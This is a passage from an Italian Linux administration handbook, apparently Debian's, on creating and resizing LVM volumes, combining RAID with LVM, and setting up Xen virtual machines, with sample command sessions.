È inoltre possibile suggerire la posizione fisica di un LV, cosicché le sue estensioni siano memorizzate su un particolare PV (ovviamente rimanendo all'interno di quelli assegnati al VG). Poiché è risaputo che sdb è più veloce di sdf, è meglio memorizzare lì lv_base se si vuol dare un vantaggio al server di database rispetto al file server. La riga di comando diventa: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Notare che questo comando può fallire se il PV non ha abbastanza estensioni libere. Nell'esempio, per evitare questa situazione, probabilmente si deve creare lv_base prima di lv_files o liberare spazio su sdb2 con il comando pvmove.

Una volta creati, i volumi logici si trovano come file di device a blocchi in /dev/mapper/:

# ls -l /dev/mapper total 0 crw------- 1 root root 10, 236 Mar 1 00:17 control lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_critical-lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 vg_critical-lv_files -> ../dm-0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_normal-lv_backups -> ../dm-2 # ls -l /dev/dm-* brw-rw---- 1 root disk 253, 0 Mar 1 00:17 /dev/dm-0 brw-rw---- 1 root disk 253, 1 Mar 1 00:19 /dev/dm-1 brw-rw---- 1 root disk 253, 2 Mar 1 00:19 /dev/dm-2

NOTA Rilevamento automatico di volumi LVM

All'avvio del computer, l'unità di servizio di systemd lvm2-activation esegue vgchange -aay per "attivare" i gruppi di volumi: passa in rassegna i device disponibili; quelli che sono stati inizializzati come volumi fisici per LVM sono registrati nel sottosistema LVM, quelli che appartengono a gruppi di volume vengono assemblati e i relativi volumi logici vengono avviati e resi disponibili. Non c'è quindi bisogno di modificare file di configurazione quando si creano o si modificano volumi LVM.

Notare, tuttavia, che la disposizione degli elementi LVM (volumi fisici e logici e gruppi di volume) viene replicata in /etc/lvm/backup, che può essere utile in caso di problemi (o solo per dare un'occhiata a cosa succede).

Per facilitare le cose, vengono inoltre creati dei comodi collegamenti simbolici in directory corrispondenti ai VG:

# ls -l /dev/vg_critical total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 lv_files -> ../dm-0 # ls -l /dev/vg_normal total 0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 lv_backups -> ../dm-2

I LV possono quindi essere usati esattamente come normali partizioni:

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 3140608 4k blocks and 786432 inodes Filesystem UUID: 7eaf0340-b740-421e-96b2-942cdbf29cb3 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/backups # mount /dev/vg_normal/lv_backups /srv/backups # df -h /srv/backups Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_normal-lv_backups 12G 24K 12G 1% /srv/backups # [...] [...] # cat /etc/fstab [...] /dev/vg_critical/lv_base /srv/base ext4 defaults 0 2 /dev/vg_critical/lv_files /srv/files ext4 defaults 0 2 /dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

Dal punto di vista delle applicazioni, la miriade di piccole partizioni è stata ora astratta in un grande volume di 12 GB con un nome più familiare.

12.1.2.3. LVM nel tempo

Anche se la capacità di aggregare partizioni o dischi fisici è comoda, questo non è il vantaggio principale di LVM. La sua flessibilità si nota soprattutto col passare del tempo, quando le necessità evolvono. Nell'esempio, si supponga di dover memorizzare dei nuovi grandi file e che il LV dedicato al file server sia troppo piccolo per contenerli. Poiché non si è usato tutto lo spazio disponibile in vg_critical, si può espandere lv_files. A questo scopo, si usa il comando lvresize, quindi resize2fs per adattare il file system di conseguenza:

# df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 4.9G 4.2G 485M 90% /srv/files # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 5.00g # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1.99g # lvresize -L 6G vg_critical/lv_files Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents). Logical volume vg_critical/lv_files successfully resized. # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 6.00g # resize2fs /dev/vg_critical/lv_files resize2fs 1.46.2 (28-Feb-2021) Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 1 The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long. # df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 5.9G 4.2G 1.5G 75% /srv/files

ATTENZIONE Ridimensionare i file system

Non tutti i file system si possono ridimensionare a caldo; per ridimensionare un volume può quindi essere necessario smontare il file system e rimontarlo in seguito. Ovviamente, se si vuole restringere lo spazio allocato a un LV, bisogna prima restringere il file system; l'ordine è invertito quando il ridimensionamento è al contrario: il volume logico deve essere allargato prima del file system che c'è sopra. È piuttosto semplice, dal momento che la dimensione del file system non deve mai essere superiore a quella del dispositivo a blocchi dove risiede (che quel dispositivo sia una partizione fisica o un volume logico).

I file system ext3, ext4 e xfs possono essere allargati a caldo, senza smontarli; per restringerli vanno invece smontati. Il file system reiserfs permette il ridimensionamento a caldo in entrambe le direzioni. Il buon vecchio ext2 non permette alcuna delle due cose e richiede sempre di essere smontato.

Si potrebbe procedere in modo simile per estendere il volume che ospita il database, ma è stato raggiunto il limite di spazio disponibile del VG:

# df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 974M 883M 25M 98% /srv/base # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1016.00m

Questo non è un problema, dal momento che LVM permette di aggiungere volumi fisici a gruppi di volume esistenti. Per esempio, si può notare che la partizione sdb3, che finora era stata usata al di fuori di LVM, conteneva solo archivi che potrebbero essere spostati su lv_backups. La si può quindi riciclare e integrare nel gruppo di volume, liberando così dello spazio utilizzabile. Questo è lo scopo del comando vgextend. Ovviamente la partizione deve essere preparata in precedenza come volume fisico. Una volta che il VG è stato esteso, possiamo usare comandi simili ai precedenti per espandere il volume logico e poi il file system:

# pvcreate /dev/sdb3 Physical volume "/dev/sdb3" successfully created. # vgextend vg_critical /dev/sdb3 Volume group "vg_critical" successfully extended # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 3 2 0 wz--n- <12.99g <5.99g # lvresize -L 2G vg_critical/lv_base [...] # resize2fs /dev/vg_critical/lv_base [...] # df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 2.0G 886M 991M 48% /srv/base

APPROFONDIMENTO LVM avanzato

LVM soddisfa anche necessità più avanzate, dove molti dettagli si possono specificare a mano. Per esempio, un amministratore può regolare la dimensione dei blocchi che compongono i volumi fisici e logici, oltre alla loro disposizione fisica. È anche possibile spostare i blocchi fra i vari PV, per esempio per affinare le prestazioni o, in modo più banale, per liberare un PV quando si deve estrarre il corrispondente disco fisico dal VG (per spostarlo su un altro VG o per rimuoverlo del tutto dal LVM). Le pagine di manuale che descrivono i comandi sono di solito chiare e dettagliate. Un buon punto di partenza è la pagina di manuale lvm(8).

12.1.3. RAID o LVM?

RAID e LVM portano entrambi indiscutibili vantaggi quando si abbandona il caso semplice di un computer desktop con un solo disco fisso in cui il modello d'uso non cambia nel tempo. Tuttavia, RAID e LVM vanno in due direzioni differenti, con scopi distinti ed è giusto chiedersi quale dei due adottare. La risposta più appropriata ovviamente dipenderà dai requisiti attuali e da quelli prevedibili in futuro.

Ci sono alcuni casi semplici in cui il problema non si pone. Se il requisito è di salvaguardare i dati da guasti hardware, allora ovviamente si configurerà RAID su un array ridondante di dischi, in quanto LVM non risolve questo problema. Se, d'altro canto, c'è bisogno di uno schema flessibile per memorizzare dati dove i volumi siano indipendenti dalla disposizione fisica dei dischi, il RAID non è molto d'aiuto e LVM è la scelta naturale.

NOTA Se importanto le performance…

Se la velocità di input/output è essenziale, soprattutto in termini di tempi di accesso, l'utilizzo di LVM e/o RAID in uno delle tante combinazioni può avere un certo impatto sulle prestazioni, e questo può influenzare le decisioni su quale per scegliere. Tuttavia, queste differenze di prestazioni sono molto minori, e saranno misurabili solo in pochi casi di utilizzo. Se si cercano maggiori performance, il miglior modo per ottenerle sarebbe quello di utilizzare supporti di memorizzazione non-rotanti (solid-state drives o SSDs); il costo per megabyte è superiore a quello degli hard disk standard, e la loro capacità è di solito più piccola, ma forniscono prestazioni eccellenti per accessi casuali. Se il modello di utilizzo include molte operazioni di input/output sparse in tutto il file system, ad esempio per i database in cui sono regolarmente in esecuzione query complesse, allora il vantaggio di una loro esecuzione su un SSD supera di gran lunga qualunque cosa si potrebbe avere scegliendo LVM su RAID o il contrario. In queste situazioni, la scelta dovrebbe essere determinata da altre considerazioni più che dalla velocità pura, dal momento che l'aspetto delle prestazioni è più facilmente gestitibile utilizzando gli SSD.

Il terzo importante caso d'uso è quando si vuole semplicemente aggregare due dischi in un unico volume, per motivi di prestazioni o per avere un unico file system più grande di qualunque disco disponibile. Questo caso può essere affrontato sia utilizzando un RAID-0 (o addirittura un linear-RAID) sia tramite un volume LVM. In questa situazione, senza considerare ulteriori vincoli (per esempio, mantenere la coerenza con altre macchine se queste usano solo RAID), la configurazione preferita di solito sarà LVM. L'impostazione iniziale è appena più complessa, ma questo leggero aumento di complessità è più che compensato dall'aumentata flessibilità di LVM nel caso i requisiti cambiassero o si dovessero aggiungere nuovi dischi.

Poi, ovviamente, c'è il caso d'uso veramente interessante, in cui il sistema di memorizzazione deve essere reso sia resistente ai guasti hardware sia flessibile in termini di allocazione di volumi. Né RAID né LVM possono di per sé soddisfare entrambi i requisiti; ciò non è un problema, perché qui si possono usare entrambi contemporaneamente, o piuttosto, uno sopra l'altro. Lo schema che è diventato lo standard da quando RAID e LVM hanno raggiunto la maturità è di assicurare prima di tutto la ridondanza dei dati raggruppando i dischi in un piccolo numero di array RAID e usare questi array RAID come volumi fisici LVM; a questo punto si creano i file system tramite partizioni logiche all'interno di questi LV. Il punto di forza di questa impostazione è che quando un disco si guasta si deve ricostruire solo un piccolo numero di array RAID, limitando così il tempo speso dall'amministratore per il ripristino.

Si faccia un esempio concreto: il dipartimento di pubbliche relazioni alla Falcot Corp ha bisogno di una postazione di lavoro per l'editing video, ma il bilancio del dipartimento non permette di investire in hardware di fascia alta per tutti i componenti. Si prende la decisione di favorire l'hardware specifico per la natura grafica del lavoro (monitor e scheda video) e di rimanere con hardware generico per quanto riguarda la memorizzazione dei dati. Tuttavia, come è ben noto, il video digitale ha dei requisiti particolari per la memorizzazione dei suoi dati: la quantità di dati da memorizzare è grande e il tasso di throughput per leggere e scrivere questi dati è importante per le prestazioni globali del sistema (più del tipico tempo di accesso, per esempio). Questi vincoli devono essere soddisfatti con hardware generico, in questo caso due dischi SATA da 300 GB; i dati del sistema devono inoltre essere resi resistenti ai guasti hardware, così come parte dei dati degli utenti. I video elaborati devono infatti essere al sicuro, ma i provini durante le modifiche sono meno critici, in quanto sono ancora sui nastri.

RAID-1 e LVM vengono combinati per soddisfare questi vincoli. I dischi sono collegati a due controller SATA diversi per ottimizzare l'accesso in parallelo e ridurre i rischi di guasto simultaneo e quindi appaiono come sda e sdc. Vengono partizionati in modo identico secondo il seguente schema:

# sfdisk -l /dev/sda Disk /dev/sda: 894.25 GiB, 960197124096 bytes, 1875385008 sectors Disk model: SAMSUNG MZ7LM960 Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: BB14C130-9E9A-9A44-9462-6226349CA012 Device Start End Sectors Size Type /dev/sda1 2048 4095 2048 1M BIOS boot /dev/sda2 4096 100667391 100663296 48G Linux RAID /dev/sda3 100667392 134221823 33554432 16G Linux RAID /dev/sda4 134221824 763367423 629145600 300G Linux RAID /dev/sda5 763367424 1392513023 629145600 300G Linux RAID /dev/sda6 1392513024 1875384974 482871951 230.3G Linux LVM

Le prime partizioni di entrambi i dischi sono partizioni di avvio del BIOS.

Le successive due partizioni sda2 e sdc2 (circa 48 GB) sono assemblate in un volume RAID-1, md0. Questo mirror è usato direttamente per contenere il file system di root.

Le partizioni sda3 e sdc3 sono assemblate in un volume RAID-0, md1, e usate come partizione di swap, fornendo un totale di 32 GB di spazio di swap. I sistemi moderni sono in grado di fornire molta RAM e questo sistema non necessita dell'ibernazione. Così, con questa aggiunta, è improbabile che ci siano problemi di esaurimento della memoria.

Le partizioni sda4 e sdc4, così come sda5 e sdc5, sono assemblate in due nuovi volumi RAID-1 di circa 300 GB l'uno, md2 e md3. Entrambi questi mirror sono inizializzati come volumi fisici per LVM e assegnati al gruppo di volume vg_raid. Questo VG contiene circa 600 GB di spazio sicuro.

Le rimanenti partizioni, sda6 e sdc6, sono usate direttamente come volumi fisici e assegnate a un altro VG chiamato vg_bulk, che quindi ha all'incirca 460 GB di spazio.

Una volta creati i VG, possono essere partizionati in modo molto flessibile. Bisogna ricordarsi che i LV creati in vg_raid saranno preservati anche in caso di guasto di uno dei dischi, cosa che non succede per i LV creati in vg_bulk; d'altro canto, quest'ultimo sarà allocato in parallelo su entrambi i dischi, il che consente velocità di lettura o scrittura maggiori per file grandi.

Si creeranno quindi i LV lv_var e lv_home su vg_raid, per ospitare i file system corrispondenti; un altro grande LV, lv_movies, verrà usato per ospitare le versioni definitive dei filmati dopo l'elaborazione. L'altro VG verrà suddiviso in un grande lv_rushes, per ospitare i dati che provengono direttamente dalle videocamere digitali e un lv_tmp per i file temporanei. La posizione dell'area di lavoro è meno ovvia: pur essendo necessarie delle buone prestazioni per quel volume, vale la pena rischiare di perdere il lavoro se un disco si guasta durante una sessione di elaborazione? A seconda della risposta a questa domanda, il relativo LV sarà creato su uno dei due VG.

Adesso è presente un certo livello di ridondanza per i dati importanti e molta flessibilità su come viene diviso lo spazio disponibile fra le applicazioni.

NOTA Perché tre volumi RAID-1?

Si sarebbe potuto impostare un unico volume RAID-1 come volume fisico per vg_raid. Perché dunque crearne tre?

Il motivo della prima suddivisione (md0 separato dagli altri) è la sicurezza dei dati: i dati scritti su entrambi gli elementi di un mirror RAID-1 sono esattamente gli stessi ed è quindi possibile aggirare il livello RAID e montare uno dei dischi direttamente. In caso di un bug nel kernel, per esempio, o se i metadati LVM si rovinano, è comunque possibile avviare un sistema minimale per avere accesso ai dati critici come la struttura dei dischi nei volumi RAID e LVM; i metadati possono poi essere ricostruiti e i file resi di nuovo accessibili, cosicché il sistema può essere riportato al suo stato normale.

Il motivo della seconda suddivisione (md2 vs. md3) è meno evidente e più collegato all'accettazione del fatto che il futuro è incerto. Quando la postazione di lavoro viene inizialmente installata, i requisiti esatti di archiviazione non sono necessariamente noti con precisione perfetta; inoltre questi possono evolvere nel tempo. In questo caso, non si può conoscere in anticipo gli effettivi requisiti di spazio per gli spezzoni di video ed i video completi. Se un particolare video necessita di una grande quantità di spezzoni e il VG dedicato ai dati ridondanti è pieno per meno della metà, si può riutilizzare parte del suo spazio non usato. Si può rimuovere uno dei volumi fisici, ad esempio md3, da vg_raid e assegnarlo direttamente a vg_bulk (se la durata attesa dell'operazione è abbastanza breve da poter convivere con il temporaneo calo di prestazioni) o annullare l'impostazione RAID su md3 e integrare le sue componenti sda5 e sdc5 nel VG di grosse dimensioni (che cresce di 600 GB invece di 300 GB); il volume logico lv_rushes può quindi essere allargato secondo necessità.

12.2. Virtualizzazione

La virtualizzazione è uno dei più grandi progressi dell'informatica negli ultimi anni. Il termine copre diverse astrazioni e tecniche per simulare macchine virtuali con grado variabile di indipendenza dall'effettivo hardware. Un server fisico può quindi ospitare diversi sistemi contemporaneamente in funzione e isolati fra loro. Le applicazioni sono molte e spesso derivano da questo isolamento; per esempio ambienti di prova con configurazioni variabili, oppure separazioni di servizi ospitati per ragioni di sicurezza su differenti macchine virtuali.

Ci sono numerose soluzioni di virtualizzazione, ciascuna coi suoi pro e contro. Questo libro si concentrerà su Xen, LXC e KVM, ma fra le altre implementazioni degne di nota vi sono le seguenti:

QEMU è un software di emulazione che permette di emulare una macchina completa; le prestazioni sono lontane dalla velocità ottenibile in modo nativo, ma questo permette di far girare sistemi operativi non modificati o sperimentali sull'hardware emulato. Permette inoltre di emulare un'architettura hardware diversa: per esempio, un sistema amd64 può emulare un computer arm. QEMU è software libero.

→ https://qemu.org/

Bochs è un'altra macchina virtuale libera, ma emula soltanto le architetture x86 (i386 e amd64).

VMWare è una macchina virtuale proprietaria; essendo una delle più vecchie in circolazione, è anche una delle più conosciute. Funziona in modo simile a QEMU. VMWare propone funzionalità avanzate, come immagini istantanee di una macchina virtuale in esecuzione.

→ https://vmware.com/

VirtualBox è una macchina virtuale che è perlopiù software libero (sebbene alcune componenti aggiuntive siano sotto una licenza proprietaria). Purtroppo è nella sezione "contrib" di Debian poiché include alcuni file precompilati che non possono essere ricostruiti senza un compilatore proprietario e attualmente è presente solo in Debian Unstable dato che le politiche di Oracle rendono impossibile mantenerlo sicuro in un rilascio stabile di Debian (vedere #794466). Sebbene sia più giovane di VMWare e limitata alle architetture i386 e amd64, include già la possibilità di effettuare immagini istantanee ed altre caratteristiche interessanti.

→ https://www.virtualbox.org/

HARDWARE Supporto alla virtualizzazione

Alcuni computer potrebbero non avere il supporto per la virtualizzazione hardware; quando disponibile, dev'essere abilitato nel BIOS.

Per sapere se è abilitato il supporto per la virtualizzazione, si può verificare se il relativo flag è abilitato con grep. Se il seguente comando restituisce del testo, significa che il supporto alla virtualizzazione è abilitato:

Per processori Intel è possibile eseguire grep vmx /proc/cpuinfo per controllare se sono presenti le Virtual Machine Extensions (estensioni della macchina virtuale) di Intel.

Per processori AMD è possibile eseguire grep svm /proc/cpuinfo per verificare la presenza della Secure Virtual Machine (macchina virtuale sicura) di AMD.

Se questo non è il caso, è possibile accedere al BIOS del sistema e verificare la presenza di voci del tipo “Intel Virtualization Technology”/“Intel VT-x” o “SVM mode” (AMD) che di solito si trovano nella configurazione della CPU nella sezione Advanced.

12.2.1. Xen

Xen è una situazione di "paravirtualizzazione". Introduce un sottile strato di astrazione, chiamato "hypervisor", fra l'hardware e i sistemi superiori; ciò agisce come un arbitro che controlla l'accesso all'hardware dalle macchine virtuali. Tuttavia, questo gestisce solo alcune delle istruzioni, mentre il resto è eseguito direttamente dall'hardware per conto dei sistemi. Il vantaggio principale è che non c'è degrado di prestazioni e i sistemi girano a una velocità prossima a quella nativa; il difetto è che i kernel dei sistemi operativi che si vogliono usare su un hypervisor Xen devono essere adattati per girare su Xen.

Dedichiamo un po' di tempo alla terminologia. L'hypervisor è lo strato inferiore che gira direttamente sull'hardware, addirittura sotto il kernel. Esso può suddividere il resto del software su più domini, che possono essere visti come altrettante macchine virtuali. Uno di questi domini (il primo che viene avviato) è conosciuto come dom0 e ha un ruolo speciale, in quanto solo questo dominio può controllare l'hypervisor e l'esecuzione di altri domini. Questi ultimi ssono conosciuti come domU. In altre parole, e dal punto di vista dell'utente, il dom0 coincide con lo "host" di altri sistemi di virtualizzazione, mentre un domU può essere visto come un "guest".

CULTURA Xen e le varie versioni di Linux

Xen inizialmente fu sviluppato come un insieme di patch al di fuori dell'albero ufficiale e non integrate nel kernel Linux. Allo stesso tempo, diversi nuovi sistemi di virtualizzazione (incluso KVM) richiedevano alcune funzioni generiche relative alla virtualizzazione per facilitare la loro integrazione e il kernel Linux incluse queste funzioni (note come interfaccia paravirt_ops o pv_ops). Dal momento che le patch Xen duplicavano alcune delle funzionalità di questa interfaccia, non potevano essere accettate ufficialmente.

Xensource, la compagnia dietro Xen, ha quindi dovuto portare Xen su questa nuova infrastruttura, cosicché le patch per Xen potessero essere incluse nel kernel Linux ufficiale. Ciò ha significato la riscrittura di gran parte del codice e sebbene Xensource in breve tempo avesse ottenuto una versione funzionante basata sull'interfaccia paravirt_ops, le patch sono state integrate nel kernel ufficiale solo gradualmente. L'integrazione è stata completata in Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Poiché Jessie è basato sulla versione 3.16 del kernel Linux, i pacchetti standard linux-image-686-pae e linux-image-amd64 includono tutto il codice necessario; le patch specifiche per la distribuzione, necessarie per Squeeze e le versioni precedenti di Debian, non servono più.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

CULTURA Xen e kernel non Linux

Xen richiede modifiche a tutti i sistemi operativi che vi si vogliano far girare su di esso; non tutti i kernel hanno lo stesso livello di maturità da questo punto di vista. Molti sono completamente funzionanti, sia come dom0 che come domU: Linux 3.0 e successivi, NetBSD 4.0 e successivi e OpenSolaris. Altri funzionano solo come domU. È possibile controllare lo stato di ogni sistema operativo nel wiki di Xen:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

Tuttavia, se Xen può basarsi sulle funzioni hardware dedicate alla virtualizzazione (che sono presenti solo nei processori più recenti), anche sistemi operativi non modificati possono girare come domU (compreso Windows).

NOTA Architetture compatibili con Xen

Xen è attualmente disponibile solo per architetture i386, amd64, arm64 ed armhf.

L'uso di Xen sotto Debian richiede tre componenti:

L'hypervisor stesso. A seconda dell'hardware disponibile, il pacchetto appropriato che fornisce xen-hypervisor sarà xen-hypervisor-4.14-amd64, xen-hypervisor-4.14-armhf o xen-hypervisor-4.14-arm64.

Un kernel che gira su tale hypervisor. Qualsiasi kernel più recente del 3.0 lo farà, inclusa la versione 5.10 presente in Bullseye.

L'architettura i386 richiede inoltre una libreria standard con le patch appropriate che si appoggino a Xen; questa si trova nel pacchetto libc6-xen.

L'hypervisor installa anche xen-utils-4.14, che contiene gli strumenti per controllare l'hypervisor dal dom0. Questo, a sua volta, installa l'appropriata libreria standard. Durante l'installazione di tutto ciò, gli script di configurazione creano anche una nuova voce nel menu del bootloader GRUB, in modo da poter avviare il kernel scelto in un dom0 Xen. Da notare, tuttavia, che questa voce non è solitamente impostata come la prima della lista, ma sarà selezionata per impostazione predefinita.

Una volta soddisfatti i prerequisiti, il passo successivo è collaudare il comportamento del dom0 da solo; questo richiede un riavvio per entrare nell'hypervisor e nel kernel Xen. Il sistema dovrebbe avviarsi nel modo consueto, mostrando nella console alcuni messaggi in più durante le prime fasi di inizializzazione.

Ora è il momento di installare veramente dei sistemi utili sui sistemi domU, usando gli strumenti di xen-tools. Questo pacchetto fornisce il comando xen-create-image, che automatizza gran parte del compito. L'unico parametro obbligatorio è --hostname, che dà un nome al domU; altre opzioni sono importanti, ma possono essere memorizzate nel file di configurazione /etc/xen-tools/xen-tools.conf e la loro mancanza dalla riga di comando non genera un errore. Perciò è importante controllare i contenuti di questo file prima di creare delle immagini oppure, in alternativa, usare parametri aggiuntivi nell'esecuzione di xen-create-image. I parametri importanti includono:

--memory, per specificare la quantità di RAM dedicata al sistema appena creato;

--size e --swap, per definire la dimensione dei "dischi virtuali" disponibili al domU;

--debootstrap-cmd, per specificare il comando debootstrap usato. Il predefinito è debootstrap se sono installati debootstrap e cdebootstrap; in questo caso, verrà usata spesso anche l'opzione --dist (con il nome di una distribuzione come bullseye).

APPROFONDIMENTO Installare un sistema non Debian in un domU

In caso di un sistema non Linux, bisogna fare attenzione a definire il kernel che il domU deve usare, usando l'opzione --kernel.

--dhcp dichiara che la configurazione di rete del domU deve essere ottenuta tramite DHCP mentre --ip permette di definire un indirizzo IP statico.

Da ultimo, bisogna scegliere un metodo di memorizzazione per le immagini da creare (quelle che saranno viste come dischi fissi dal domU). Il metodo più semplice, che corrisponde all'opzione --dir, è di creare un file sul dom0 per ogni dispositivo da rendere disponibile al domU. Per i sistemi che usano LVM, l'alternativa è usare l'opzione --lvm, seguita dal nome di un gruppo di volume; quindi xen-create-image creerà un nuovo volume logico dentro quel gruppo e questo volume logico sarà reso disponibile al domU come disco fisso.

NOTA Memorizzazione nel domU

Oltre a partizioni, array RAID o volumi logici LVM preesistenti, anche interi dischi fissi possono essere esportati verso il domU. Queste operazioni non sono tuttavia automatizzate da xen-create-image, quindi è necessario modificare il file di configurazione dell'immagine Xen dopo la sua creazione iniziale con xen-create-image.

Una volta effettuate queste scelte, si può creare l'immagine per il futuro domU Xen:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=bullseye --role=udev General Information -------------------- Hostname : testxen Distribution : bullseye Mirror : http://deb.debian.org/debian Partitions : swap 512M (swap) / 2G (ext4) Image type : sparse Memory size : 256M Bootloader : pygrub [...] Logfile produced at: /var/log/xen-tools/testxen.log Installation Summary --------------------- Hostname : testxen Distribution : bullseye MAC Address : 00:16:3E:C2:07:EE IP Address(es) : dynamic SSH Fingerprint : SHA256:K+0QjpGzZOacLZ3jX4gBwp0mCESt5ceN5HCJZSKWS1A (DSA) SSH Fingerprint : SHA256:9PnovvGRuTw6dUcEVzzPKTITO0+3Ki1Gs7wu4ke+4co (ECDSA) SSH Fingerprint : SHA256:X5z84raKBajUkWBQA6MVuanV1OcV2YIeD0NoCLLo90k (ED25519) SSH Fingerprint : SHA256:VXu6l4tsrCoRsXOqAwvgt57sMRj2qArEbOzHeydvV34 (RSA) Root Password : FS7CUxsY3xkusv7EkbT9yae

Adesso è stata creata una macchina virtuale, ma attualmente non è in esecuzione (e quindi occupa solo spazio sul disco fisso del dom0). Ovviamente si possono creare altre immagini, magari con parametri diversi.

Prima di accendere queste macchine virtuali, bisogna definirne le modalità di accesso. Ovviamente possono essere considerate come macchine isolate, a cui si accederà soltanto tramite la loro console di sistema, ma raramente vengono usate in questo modo. Nella maggior parte dei casi, un domU sarà considerato come un server remoto e vi si accederà solo via rete. Tuttavia sarebbe molto scomodo aggiungere una scheda di rete per ogni domU; per questo Xen permette di creare interfacce virtuali, che ogni dominio può vedere e usare in modo standard. Notare che queste schede, seppur siano virtuali, saranno utili solo una volta connesse a una rete, anche solo virtuale. Per questo scopo, Xen ha diversi modelli di rete:

Il modello più semplice è il modello bridge; tutte le schede di rete eth0 (sia nel dom0 che nei sistemi domU) si comportano come se fossero direttamente inserite in uno switch Ethernet.

C'è poi il modello routing, dove il dom0 si comporta come un router che sta fra i sistemi domU e la rete esterna (fisica).

Infine, nel modello NAT, il dom0 è di nuovo fra i sistemi domU e il resto della rete, ma i sistemi domU non sono direttamente accessibili dall'esterno e il traffico passa attraverso alcune traduzioni degli indirizzi di rete sul dom0.

Queste tre modalità di rete comprendono alcune interfacce dai nomi insoliti, come vif*, veth*, peth* e xenbr0. L'hypervisor Xen le organizza in qualsiasi configurazione sia stata definita, sotto il controllo degli strumenti nello spazio utente. Poiché le modalità NAT e routing vengono utilizzate in casi particolari, ci occuperemo solo del modello di bridging.

La configurazione standard dei pacchetti Xen non cambia la configurazione di rete di sistema. Tuttavia, il demone xend è configurato per integrare le interfacce di rete virtuali in qualunque bridge di rete preesistente (con precedenza a xenbr0 se esiste più di un bridge). Bisogna quindi impostare un bridge in /etc/network/interfaces (il che richiede l'installazione del pacchetto bridge-utils, che è il motivo per cui xen-utils lo raccomanda) per sostituire la voce esistente relativa a eth0 (fare attenzione ad utilizzare il nome di dispositivo di rete corretto):

auto xenbr0 iface xenbr0 inet dhcp bridge_ports eth0 bridge_maxwait 0

Dopo aver riavviato per assicurarsi che il bridge sia stato creato automaticamente, si può ora avviare il domU con gli strumenti di controllo di Xen, in particolare il comando xl. Questo comando permette diverse manipolazioni sui domini, fra cui elencarli, avviarli e fermarli. Si potrebbe dover incrementare la memoria predefinita mediante modifica della variabile memory nel file di configurazione (/etc/xen/testxen.cfg, in questo caso). Qui è stata impostata a 1024 (megabyte).

# xl list Name ID Mem VCPUs State Time(s) Domain-0 0 3918 2 r----- 35.1 # xl create /etc/xen/testxen.cfg Parsing config from /etc/xen/testxen.cfg # xl list Name ID Mem VCPUs State Time(s) Domain-0 0 2757 2 r----- 45.2 testxen 3 1024 1 r----- 1.3

STRUMENTO Scelta dei toolstack per gestire Xen VM

In Debian 7 e nelle versioni precedenti, xm è stato lo strumento da riga di comando di riferimento da utilizzare per gestire le macchine virtuali Xen. Ora è stato sostituito da xl che è per lo più compatibile con xm. Ma questi non sono gli unici strumenti a disposizione: virsh di libvirt e xe per XAPI di XenServer (offerta commerciale di Xen) sono strumenti alternativi.

ATTENZIONE Solo un domU per immagine!

Anche se è ovviamente possibile far girare più sistemi domU in parallelo, ognuno di essi deve usare la propria immagine, dal momento che ad ogni domU viene fatto crede di girare sul proprio hardware (ad eccezione della piccola parte del kernel che parla con l'hypervisor). In particolare, non è possibile che due sistemi domU contemporaneamente in esecuzione condividano uno spazio di archiviazione. Se tuttavia i sistemi domU non sono contemporaneamente in esecuzione, è possibile riutilizzare una singola partizione di swap o la partizione che ospita il file system /home.

Notare che il domU testxen usa memoria fisica presa dalla RAM che altrimenti sarebbe disponibile per il dom0, non memoria simulata. Pertanto bisogna fare attenzione, quando si assembla un server che deve ospitare istanze di Xen, a fornire RAM fisica secondo le necessità.

Voilà! La macchina virtuale è partita. Vi si può accedere in uno dei due modi. Il modo consueto è di connettersi ad essa "in remoto" tramite la rete, come ci si connetterebbe a una macchina reale; questo di solito richiederà di impostare un server DHCP o qualche configurazione di DNS. L'altro modo, che potrebbe essere l'unico se la configurazione di rete era errata, è di usare la console hvc0, con il comando xl console:

# xl console testxen [...] Debian GNU/Linux 11 testxen hvc0 testxen login:

